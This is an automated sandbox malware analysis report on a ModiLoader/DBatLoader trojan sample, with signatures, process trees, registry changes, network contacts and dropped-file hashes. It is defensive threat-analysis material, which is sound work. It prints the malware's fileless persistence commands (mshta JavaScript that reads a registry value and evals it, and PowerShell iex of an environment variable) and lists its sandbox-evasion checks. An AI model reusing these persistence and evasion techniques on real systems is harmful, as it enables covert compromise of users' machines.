Malware Analysis Report

2024-08-06 14:17

Sample ID 240617-l93lnawejd
Target b816369b655826e66fde3618f30a545c_JaffaCakes118
SHA256 57aaffcdd21b962bcf1c34c032f69c1ec1c680c23d1816688dc7dbe1175b5702
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

57aaffcdd21b962bcf1c34c032f69c1ec1c680c23d1816688dc7dbe1175b5702

Threat Level: Known bad

The file b816369b655826e66fde3618f30a545c_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Looks for VirtualBox drivers on disk

Looks for VirtualBox Guest Additions in registry

Checks for common network interception software

ModiLoader Second Stage

Looks for VMWare Tools registry key

Checks computer location settings

Drops startup file

Deletes itself

Checks BIOS information in registry

Maps connected drives based on registry

Adds Run key to start application

Drops file in System32 directory

Suspicious use of SetThreadContext

Unsigned PE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Modifies registry class

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: MapViewOfSection

Modifies Internet Explorer settings

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-17 10:14

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-17 10:14

Reported

2024-06-17 10:17

Platform

win7-20240220-en

Max time kernel

150s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\601f00.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:U0M1odGGM=\"95DKuFU\";s5x=new%20ActiveXObject(\"WScript.Shell\");QbpZ2hVH=\"cGuFBGg\";Hx3Or=s5x.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\tbxrem\\\\kgltsyfy\");RJ7VJZP=\"ty\";eval(Hx3Or);nbtt0j3q=\"j\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:C2vClatJQ=\"rKgQqbpVqG\";N8i5=new%20ActiveXObject(\"WScript.Shell\");UT0mTfh=\"zkopbtc\";fU6EJ=N8i5.RegRead(\"HKCU\\\\software\\\\tbxrem\\\\kgltsyfy\");swV8VICm=\"3W1iY4t\";eval(fU6EJ);gnwP8A3SAu=\"2RZ618\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\2f4789\\6bc9fe.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\f8f880 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\f8f880\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\f8f880\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\f8f880\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\f8f880\shell\open\command\ = "mshta \"javascript:zXXy1oq=\"jksdfwf5a\";Lm4=new ActiveXObject(\"WScript.Shell\");OVnaDvG4Z=\"rVd4\";zBhy1=Lm4.RegRead(\"HKCU\\\\software\\\\tbxrem\\\\kgltsyfy\");sma0XSyb4=\"7slrl4\";eval(zBhy1);sfOo2hP=\"8zLAp\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\.6cddf16 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\.6cddf16\ = "f8f880" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 1720 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 2628 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2628 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2628 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2628 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2712 wrote to memory of 2008 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2712 wrote to memory of 2008 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2712 wrote to memory of 2008 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2712 wrote to memory of 2008 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2712 wrote to memory of 2008 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2712 wrote to memory of 2008 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2712 wrote to memory of 2008 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2712 wrote to memory of 2008 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:zKpC98rA="TMreN6";Rl7=new%20ActiveXObject("WScript.Shell");WA3yQrm="wjfkKHBG";z30gkX=Rl7.RegRead("HKLM\\software\\Wow6432Node\\emQf7D\\Y90R67NczS");yvGN32MXT="ReE0iu4";eval(z30gkX);slZ1h1clJ="uO";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:wypfsx

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
CN 39.66.178.32:80 tcp
US 19.122.87.176:80 tcp
CN 58.203.12.46:80 tcp
JP 126.31.54.39:8080 tcp
DE 85.205.113.219:80 tcp
KW 62.150.248.49:80 tcp
CN 101.129.59.127:80 tcp
US 54.219.18.79:443 tcp
US 19.185.120.55:80 tcp
US 13.144.132.49:80 tcp
FR 86.236.233.144:80 tcp
KR 1.110.52.2:80 tcp
CN 115.217.197.109:80 tcp
US 207.129.79.217:8080 tcp
US 21.123.152.181:80 tcp
AR 152.170.227.84:80 tcp
MX 201.115.197.84:80 tcp
CN 42.80.58.115:80 tcp
NL 108.141.57.64:80 tcp
US 15.216.92.137:80 tcp
US 19.77.233.170:8080 tcp
NL 178.228.210.52:80 tcp
US 139.180.24.3:80 tcp
SI 89.212.78.96:80 tcp
US 52.216.219.166:80 tcp
US 55.204.184.134:80 tcp
US 11.96.217.80:80 tcp
CN 223.154.173.164:80 tcp
US 184.254.64.40:80 tcp
FI 84.230.87.126:80 tcp
US 198.99.198.10:80 tcp
JP 126.39.239.21:80 tcp
US 64.91.129.20:443 tcp
US 207.120.45.96:80 tcp
US 138.110.169.184:80 tcp
FR 82.238.15.24:80 tcp
US 108.214.189.163:80 tcp
US 48.91.228.27:443 tcp
US 26.176.189.220:80 tcp
JP 175.132.26.245:80 tcp
US 4.101.177.62:80 tcp
NL 145.107.9.133:80 tcp
CN 124.234.86.235:80 tcp
US 74.80.194.155:80 tcp
CN 110.157.105.143:80 tcp
US 184.112.84.193:80 tcp
US 24.190.255.17:80 tcp
DE 217.245.157.104:80 tcp
US 128.192.198.158:80 tcp
KR 121.124.77.226:80 tcp
CH 162.26.44.138:80 tcp
DE 193.239.227.30:8080 tcp
CA 199.214.196.149:443 tcp
CH 178.82.15.183:80 tcp
US 139.55.251.56:80 tcp
CH 161.15.37.240:80 tcp
DE 195.179.84.43:8080 tcp
JP 60.192.84.192:80 tcp
PL 79.186.169.105:80 tcp
US 35.107.50.155:80 tcp
US 131.34.13.140:80 tcp
SE 212.181.14.246:80 tcp
US 204.180.199.176:80 tcp
CN 121.226.128.175:80 tcp
CN 43.143.139.100:8080 tcp
CH 146.109.109.238:443 tcp
US 15.49.123.146:80 tcp
IT 139.47.177.214:80 tcp
US 48.61.90.153:80 tcp
US 73.142.98.61:80 tcp
TW 203.203.131.219:80 tcp
JP 60.120.183.15:80 tcp
CN 106.58.45.147:80 tcp
JP 220.10.125.72:80 tcp
US 173.222.165.252:80 tcp
US 73.61.102.47:80 tcp
CL 200.73.209.245:80 tcp
US 97.129.152.138:80 tcp
US 159.63.242.91:80 tcp
US 214.86.84.92:8080 tcp
SK 62.176.175.16:80 tcp
US 168.58.235.101:80 tcp
VE 181.184.55.182:80 tcp
SE 155.4.242.178:80 tcp
US 8.250.122.79:80 tcp
IR 5.213.32.120:80 tcp
US 68.31.105.59:80 tcp
US 23.145.46.81:443 tcp
PT 148.71.132.207:80 tcp
BR 189.71.227.36:443 tcp
HK 61.92.170.137:80 tcp
NL 145.108.54.169:80 tcp
GB 128.41.182.59:80 tcp
US 147.4.158.78:80 tcp
JP 34.84.71.207:80 tcp
GB 163.1.207.5:80 tcp
US 100.50.140.149:443 tcp
PL 195.116.121.34:8080 tcp
N/A 127.189.70.22:80 tcp
ES 88.20.24.226:80 tcp
US 3.188.235.84:80 tcp
US 12.248.166.105:80 tcp
CN 120.45.17.37:80 tcp
PF 123.50.102.54:80 tcp
HK 58.152.63.195:80 tcp
CN 39.99.250.154:80 tcp
CN 59.210.16.226:80 tcp
JP 153.238.85.96:80 tcp
US 26.104.180.178:80 tcp
US 32.83.120.213:80 tcp
KR 183.97.151.95:80 tcp
US 216.66.74.128:80 tcp
ID 39.238.85.29:80 tcp
BR 135.254.158.22:80 tcp
US 214.150.198.63:80 tcp
ES 90.74.239.10:80 tcp
FR 176.159.31.255:80 tcp
GB 147.89.213.89:80 tcp
SG 43.73.103.207:8080 tcp
US 151.205.226.171:80 tcp
CA 99.245.181.46:80 tcp
NL 145.126.140.102:80 tcp
US 17.36.206.128:8080 tcp
US 38.81.113.181:80 tcp
ZA 197.106.15.71:8080 tcp
DE 213.252.166.193:80 tcp
US 20.253.144.10:80 tcp
US 74.48.176.89:80 tcp
US 128.128.32.147:80 tcp
GB 195.173.112.170:80 tcp
US 69.104.164.181:80 tcp
SE 143.237.89.97:80 tcp
CH 188.63.169.114:80 tcp
US 65.147.152.214:8080 tcp
N/A 10.216.83.181:80 tcp
US 3.88.103.194:443 tcp
BR 189.45.139.253:80 tcp
NL 87.213.225.166:80 tcp
US 132.161.94.118:80 tcp
N/A 83.238.133.43:80 tcp

Files

memory/2320-2-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2320-5-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2320-4-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2320-6-0x0000000001D80000-0x0000000001E54000-memory.dmp

memory/2320-10-0x0000000001D80000-0x0000000001E54000-memory.dmp

memory/2320-9-0x0000000001D80000-0x0000000001E54000-memory.dmp

memory/2320-8-0x0000000001D80000-0x0000000001E54000-memory.dmp

memory/2320-7-0x0000000001D80000-0x0000000001E54000-memory.dmp

memory/2320-11-0x0000000001D80000-0x0000000001E54000-memory.dmp

memory/2320-12-0x0000000001D80000-0x0000000001E54000-memory.dmp

memory/2804-21-0x0000000006230000-0x0000000006304000-memory.dmp

memory/2712-23-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-24-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-30-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-36-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-27-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-28-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2804-26-0x0000000006230000-0x0000000006304000-memory.dmp

memory/2712-29-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-32-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-39-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-48-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-47-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-46-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-45-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-44-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-43-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-49-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-59-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-58-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-57-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-56-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-55-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-54-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-42-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-41-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-40-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-38-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-37-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-35-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-34-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-33-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-31-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2712-66-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2008-81-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-78-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-76-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-82-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-80-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-79-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-77-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-75-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-73-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-72-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-74-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-71-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-70-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-69-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-68-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2008-67-0x00000000002A0000-0x00000000003DE000-memory.dmp

C:\Users\Admin\AppData\Local\2f4789\ea3dbb.bat

MD5 d4ec627a1d9ca558fd3d5fae26a947e9
SHA1 1c63212329281c2d22a9cba716e4ee6a03cf19e2
SHA256 167af01d0aa246d0c9572d34fcd254ede62be98708af922a6b521d5740a9ddde
SHA512 45708682cd7e4c12b68fd467d69a96fce4cf168fbf2ea5514fcc1b0970295aa8821b67663a6b96f2f126474994aa4858c8802df2083e6dc8ae009a3da66b1502

C:\Users\Admin\AppData\Local\2f4789\cf743a.6cddf16

MD5 bb8047abd95c0f433562863ec9f0c135
SHA1 bd9683e2788ecf190310d7c6014ab77af40f68da
SHA256 3d26e3e81d0ce9b4bb59a2ce139c9a991d0522d8ef515b35dd649c6c9ea3a46e
SHA512 15a7d228dfc9b7444fd8ab5c15adcbf879602c0d3d689669ceaeb58808f7db86b2e733f27f68023bdb4cd47e5305ad9db90a9496462f838131dd6454cd54024b

C:\Users\Admin\AppData\Roaming\06809f\0da6de.6cddf16

MD5 b27774c576ec097c065c9eca492f5d07
SHA1 5425404d9269887c20c267bb086b10cd9191a994
SHA256 3704885a73db3038c743c574d57e4339752c30a8d100dde0d16496147a8e0a2b
SHA512 eca4e724d058e7271bf5833d03ba44841f1c90d5b91f46e7d52756e93c4aa73719394286ada275364a497ae2f44b5b5f602026e6c85c1de512401ce2da6b133d

C:\Users\Admin\AppData\Local\2f4789\6bc9fe.lnk

MD5 118d5880670d097dcc8e8daa6c99be4b
SHA1 1ea0a544121948291573c13649cacf7d6c732ce0
SHA256 1bd30d64e70799eb8c93ee812a3e4410ad112224ff7b1747b9bcc8bf370dbad2
SHA512 0676d2c5c93f77189e1523287a94a3f32e4fd15f5e885bfdfbabd5df579c5ba030af3722cd1b45c7ee6df4e5e364383ff1509fb60b723360203483a94a169cb5

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\601f00.lnk

MD5 aa8bec15e78c5081c574592a9deb1641
SHA1 35b134c4570644753a153e7b36a0ef0888b1fa52
SHA256 da78a7c4e930eb9ec20bed774a42022394a29d5d8426c848164256633457fa84
SHA512 602a677f3069c91de184ab21e35dcde34701847d5581a1676f67d52f730e2ee42a6e43f116c39414f41586fb71b3e9dccad41dc7044aab65abfa13f559b013d5

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-17 10:14

Reported

2024-06-17 10:17

Platform

win10v2004-20240611-en

Max time kernel

142s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
